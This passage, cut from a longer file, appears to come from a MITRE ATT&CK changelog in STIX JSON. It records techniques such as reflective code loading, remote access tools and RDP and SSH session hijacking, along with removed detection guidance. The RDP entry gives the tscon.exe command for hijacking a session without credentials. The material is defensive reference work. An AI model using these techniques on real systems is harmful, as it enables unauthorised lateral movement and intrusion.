Registry (Windows Registry Key Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0209: Detection of Registry Query for Environmental Discovery" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-05 01:15:06.293000+00:00", + "modified": "2025-10-24 17:48:44.030000+00:00", + "name": "Reflective Code Loading", + "description": "Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., [Shared Modules](https://attack.mitre.org/techniques/T1129)).\n\nReflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL) For example, the `Assembly.Load()` method executed by [PowerShell](https://attack.mitre.org/techniques/T1059/001) may be abused to load raw code into the running process.(Citation: Microsoft AssemblyLoad)\n\nReflective code injection is very similar to [Process Injection](https://attack.mitre.org/techniques/T1055) except that the \u201cinjection\u201d loads code into the processes\u2019 own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1620", + "external_id": "T1620" + }, + { + "source_name": "00sec Droppers", + "description": "0x00pico. (2017, September 25). Super-Stealthy Droppers. Retrieved October 4, 2021.", + "url": "https://0x00sec.org/t/super-stealthy-droppers/3715" + }, + { + "source_name": "S1 Custom Shellcode Tool", + "description": "Bunce, D. (2019, October 31). Building A Custom Tool For Shellcode Analysis. Retrieved October 4, 2021.", + "url": "https://www.sentinelone.com/blog/building-a-custom-tool-for-shellcode-analysis/" + }, + { + "source_name": "Mandiant BYOL", + "description": "Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) \u2013 A Novel Red Teaming Technique. Retrieved October 4, 2021.", + "url": "https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique" + }, + { + "source_name": "S1 Old Rat New Tricks", + "description": "Landry, J. (2016, April 21). Teaching an old RAT new tricks. Retrieved October 4, 2021.", + "url": "https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/" + }, + { + "source_name": "MDSec Detecting DOTNET", + "description": "MDSec Research. (n.d.). Detecting and Advancing In-Memory .NET Tradecraft. Retrieved October 4, 2021.", + "url": "https://www.mdsec.co.uk/2020/06/detecting-and-advancing-in-memory-net-tradecraft/" + }, + { + "source_name": "Microsoft AssemblyLoad", + "description": "Microsoft. (n.d.). Assembly.Load Method. Retrieved February 9, 2024.", + "url": "https://learn.microsoft.com/dotnet/api/system.reflection.assembly.load" + }, + { + "source_name": "Intezer ACBackdoor", + "description": "Sanmillan, I. (2019, November 18). ACBackdoor: Analysis of a New Multiplatform Backdoor. Retrieved October 4, 2021.", + "url": "https://www.intezer.com/blog/research/acbackdoor-analysis-of-a-new-multiplatform-backdoor/" + }, + { + "source_name": "Stuart ELF Memory", + "description": "Stuart. (2018, March 31). In-Memory-Only ELF Execution (Without tmpfs). Retrieved October 4, 2021.", + "url": "https://magisterquis.github.io/2018/03/31/in-memory-only-elf-execution.html" + }, + { + "source_name": "Introducing Donut", + "description": "The Wover. (2019, May 9). Donut - Injecting .NET Assemblies as Shellcode. Retrieved October 4, 2021.", + "url": "https://thewover.github.io/Introducing-Donut/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jo\u00e3o Paulo de A. Filho, @Hug1nN__", + "Shlomi Salem, SentinelOne", + "Lior Ribak, SentinelOne", + "Rex Guo, @Xiaofei_REX, Confluera", + "Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics", + "Jiraput Thamsongkrah" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Module: Module Load\", \"Script: Script Execution\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:44.030000+00:00\", \"old_value\": \"2025-04-15 19:58:27.959000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for code artifacts associated with reflectively loading code, such as the abuse of .NET functions such as Assembly.Load() and [Native API](https://attack.mitre.org/techniques/T1106) functions such as CreateThread(), memfd_create(), execve(), and/or execveat().(Citation: 00sec Droppers)(Citation: S1 Old Rat New Tricks)\\n\\nMonitor for artifacts of abnormal process execution. For example, a common signature related to reflective code loading on Windows is mechanisms related to the .NET Common Language Runtime (CLR) -- such as mscor.dll, mscoree.dll, and clr.dll -- loading into abnormal processes (such as notepad.exe). Similarly, AMSI / ETW traces can be used to identify signs of arbitrary code execution from within the memory of potentially compromised processes.(Citation: MDSec Detecting DOTNET)(Citation: Introducing Donut)\\n\\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for code artifacts associated with reflectively loading code, such as the abuse of .NET functions such as Assembly.Load() and [Native API](https://attack.mitre.org/techniques/T1106) functions such as CreateThread(), memfd_create(), execve(), and/or execveat().(Citation: 00sec Droppers)(Citation: S1 Old Rat New Tricks)\\n-\\n-Monitor for artifacts of abnormal process execution. For example, a common signature related to reflective code loading on Windows is mechanisms related to the .NET Common Language Runtime (CLR) -- such as mscor.dll, mscoree.dll, and clr.dll -- loading into abnormal processes (such as notepad.exe). Similarly, AMSI / ETW traces can be used to identify signs of arbitrary code execution from within the memory of potentially compromised processes.(Citation: MDSec Detecting DOTNET)(Citation: Introducing Donut)\\n-\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. \"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0011: Module (Module Load)", + "DS0012: Script (Script Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0300: Detection Strategy for Reflective Code Loading" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18 17:59:24.739000+00:00", + "modified": "2025-10-24 17:48:42.154000+00:00", + "name": "Remote Access Tools", + "description": "An adversary may use legitimate remote access tools to establish an interactive command and control channel within a network. Remote access tools create a session between two trusted hosts through a graphical interface, a command line interaction, a protocol tunnel via development or management software, or hardware-level access such as KVM (Keyboard, Video, Mouse) over IP solutions. Desktop support software (usually graphical interface) and remote management software (typically command line interface) allow a user to control a computer remotely as if they are a local user inheriting the user or software permissions. This software is commonly used for troubleshooting, software installation, and system management.(Citation: Symantec Living off the Land)(Citation: CrowdStrike 2015 Global Threat Report)(Citation: CrySyS Blog TeamSpy) Adversaries may similarly abuse response features included in EDR and other defensive tools that enable remote access.\n\nRemote access tools may be installed and used post-compromise as an alternate communications channel for redundant access or to establish an interactive remote desktop session with the target system. It may also be used as a malware component to establish a reverse connection or back-connect to a service or adversary-controlled system.\n\nInstallation of many remote access tools may also include persistence (e.g., the software's installation routine creates a [Windows Service](https://attack.mitre.org/techniques/T1543/003)). Remote access modules/features may also exist as part of otherwise existing software (e.g., Google Chrome\u2019s Remote Desktop).(Citation: Google Chrome Remote Desktop)(Citation: Chrome Remote Desktop)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1219", + "external_id": "T1219" + }, + { + "source_name": "CrowdStrike 2015 Global Threat Report", + "description": "CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018.", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf" + }, + { + "source_name": "CrySyS Blog TeamSpy", + "description": "CrySyS Lab. (2013, March 20). TeamSpy \u2013 Obshie manevri. Ispolzovat\u2019 tolko s razreshenija S-a. Retrieved April 11, 2018.", + "url": "https://blog.crysys.hu/2013/03/teamspy/" + }, + { + "source_name": "Google Chrome Remote Desktop", + "description": "Google. (n.d.). Retrieved March 14, 2024.", + "url": "https://support.google.com/chrome/answer/1649523" + }, + { + "source_name": "Chrome Remote Desktop", + "description": "Huntress. (n.d.). Retrieved March 14, 2024.", + "url": "https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708" + }, + { + "source_name": "Symantec Living off the Land", + "description": "Wueest, C., Anand, H. (2017, July). Living off the land and fileless attack techniques. Retrieved April 10, 2018.", + "url": "https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Matt Kelly, @breakersall", + "Zachary Stanford, @svch0st", + "Dray Agha, @Purp1eW0lf, Huntress Labs" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "3.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\", \"Drive: Drive Creation\", \"Network Traffic: Network Connection Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:42.154000+00:00\", \"old_value\": \"2025-04-15 19:58:25.651000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.\\n\\nAnalyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.\\n\\n[Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.\\n-\\n-Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.\\n-\\n-[Domain Fronting](https://attack.mitre.org/techniques/T1090/004) may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.\"}}}", + "previous_version": "3.0", + "changelog_mitigations": { + "shared": [ + "M1031: Network Intrusion Prevention", + "M1034: Limit Hardware Installation", + "M1037: Filter Network Traffic", + "M1038: Execution Prevention", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0016: Drive (Drive Creation)", + "DS0029: Network Traffic (Network Connection Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0496: Behavior-Chain Detection for Remote Access Tools (Tool-Agnostic)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-25 18:26:16.994000+00:00", + "modified": "2025-10-24 17:48:50.118000+00:00", + "name": "Remote Service Session Hijacking", + "description": "Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.\n\nAdversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1563", + "external_id": "T1563" + }, + { + "source_name": "RDP Hijacking Medium", + "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.", + "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6" + }, + { + "source_name": "Breach Post-mortem SSH Hijack", + "description": "Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved November 17, 2024.", + "url": "https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\", \"Command: Command Execution\", \"Process: Process Creation\", \"Logon Session: Logon Session Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:50.118000+00:00\", \"old_value\": \"2025-04-15 23:00:02.178000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use of these services may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with that service. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\\n\\nMonitor for processes and command-line arguments associated with hijacking service sessions.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Use of these services may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with that service. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time.\\n-\\n-Monitor for processes and command-line arguments associated with hijacking service sessions.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1030: Network Segmentation", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0079: Detection of Remote Service Session Hijacking" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-25 18:35:42.765000+00:00", + "modified": "2025-10-24 17:49:30.049000+00:00", + "name": "RDP Hijacking", + "description": "Adversaries may hijack a legitimate user\u2019s remote desktop session to move laterally within an environment. Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS).(Citation: TechNet Remote Desktop Services)\n\nAdversaries may perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session. With System permissions and using Terminal Services Console, `c:\\windows\\system32\\tscon.exe [session number to be stolen]`, an adversary can hijack a session without the need for credentials or prompts to the user.(Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions.(Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in red teaming tools.(Citation: Kali Redsnarf)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1563/002", + "external_id": "T1563.002" + }, + { + "source_name": "RDP Hijacking Medium", + "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.", + "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6" + }, + { + "source_name": "RDP Hijacking Korznikov", + "description": "Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017.", + "url": "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html" + }, + { + "source_name": "TechNet Remote Desktop Services", + "description": "Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, 2016.", + "url": "https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx" + }, + { + "source_name": "Kali Redsnarf", + "description": "NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017.", + "url": "https://github.com/nccgroup/redsnarf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Logon Session: Logon Session Creation\", \"Process: Process Creation\", \"Command: Command Execution\", \"Network Traffic: Network Traffic Flow\", \"Network Traffic: Network Traffic Content\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:30.049000+00:00\", \"old_value\": \"2025-04-15 22:59:04.979000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Consider monitoring processes for `tscon.exe` usage and monitor service creation that uses `cmd.exe /k` or `cmd.exe /c` in its arguments to detect RDP session hijacking.\\n\\nUse of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Consider monitoring processes for `tscon.exe` usage and monitor service creation that uses `cmd.exe /k` or `cmd.exe /c` in its arguments to detect RDP session hijacking.\\n-\\n-Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management", + "M1028: Operating System Configuration", + "M1030: Network Segmentation", + "M1035: Limit Access to Resource Over Network", + "M1042: Disable or Remove Feature or Program", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0588: Detection fo Remote Service Session Hijacking for RDP." + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-25 18:34:38.290000+00:00", + "modified": "2025-10-24 17:48:45.240000+00:00", + "name": "SSH Hijacking", + "description": "Adversaries may hijack a legitimate user's SSH session to move laterally within an environment. Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial.(Citation: Slideshare Abusing SSH)(Citation: SSHjack Blackhat)(Citation: Clockwork SSH Agent Hijacking)(Citation: Breach Post-mortem SSH Hijack)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1563/001) differs from use of [SSH](https://attack.mitre.org/techniques/T1021/004) because it hijacks an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1563/001", + "external_id": "T1563.001" + }, + { + "source_name": "SSHjack Blackhat", + "description": "Adam Boileau. (2005, August 5). Trust Transience: Post Intrusion SSH Hijacking. Retrieved December 19, 2017.", + "url": "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf" + }, + { + "source_name": "Clockwork SSH Agent Hijacking", + "description": "Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20210311184303/https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/" + }, + { + "source_name": "Slideshare Abusing SSH", + "description": "Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.", + "url": "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219" + }, + { + "source_name": "Breach Post-mortem SSH Hijack", + "description": "Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved November 17, 2024.", + "url": "https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Anastasios Pingios" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Network Traffic: Network Traffic Content\", \"Command: Command Execution\", \"Logon Session: Logon Session Creation\", \"Network Traffic: Network Traffic Flow\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:45.240000+00:00\", \"old_value\": \"2025-04-15 21:40:37.838000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1026: Privileged Account Management", + "M1027: Password Policies", + "M1042: Disable or Remove Feature or Program" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0028: Logon Session (Logon Session Creation)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0029: Network Traffic (Network Traffic Flow)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0256: Detection Strategy for SSH Session Hijacking" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:29.858000+00:00", + "modified": "2025-10-24 17:48:48.472000+00:00", + "name": "Remote Services", + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.\n\nIn an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain, or management platforms for internal virtualization environments such as VMware vCenter. \n\nLegitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: Remote Management MDM macOS)(Citation: Kickstart Apple Remote Desktop commands)(Citation: Apple Remote Desktop Admin Guide 3.3) Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: Lockboxx ARD 2019)(Citation: Kickstart Apple Remote Desktop commands)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1021", + "external_id": "T1021" + }, + { + "source_name": "Apple Remote Desktop Admin Guide 3.3", + "description": "Apple. (n.d.). Apple Remote Desktop Administrator Guide Version 3.3. Retrieved October 5, 2021.", + "url": "https://images.apple.com/remotedesktop/pdf/ARD_Admin_Guide_v3.3.pdf" + }, + { + "source_name": "Remote Management MDM macOS", + "description": "Apple. (n.d.). Use MDM to enable Remote Management in macOS. Retrieved September 23, 2021.", + "url": "https://support.apple.com/en-us/HT209161" + }, + { + "source_name": "Kickstart Apple Remote Desktop commands", + "description": "Apple. (n.d.). Use the kickstart command-line utility in Apple Remote Desktop. Retrieved September 23, 2021.", + "url": "https://support.apple.com/en-us/HT201710" + }, + { + "source_name": "Lockboxx ARD 2019", + "description": "Dan Borges. (2019, July 21). MacOS Red Teaming 206: ARD (Apple Remote Desktop Protocol). Retrieved September 10, 2021.", + "url": "http://lockboxx.blogspot.com/2019/07/macos-red-teaming-206-ard-apple-remote.html" + }, + { + "source_name": "FireEye 2019 Apple Remote Desktop", + "description": "Jake Nicastro, Willi Ballenthin. (2019, October 9). Living off the Orchard: Leveraging Apple Remote Desktop for Good and Evil. Retrieved August 16, 2021.", + "url": 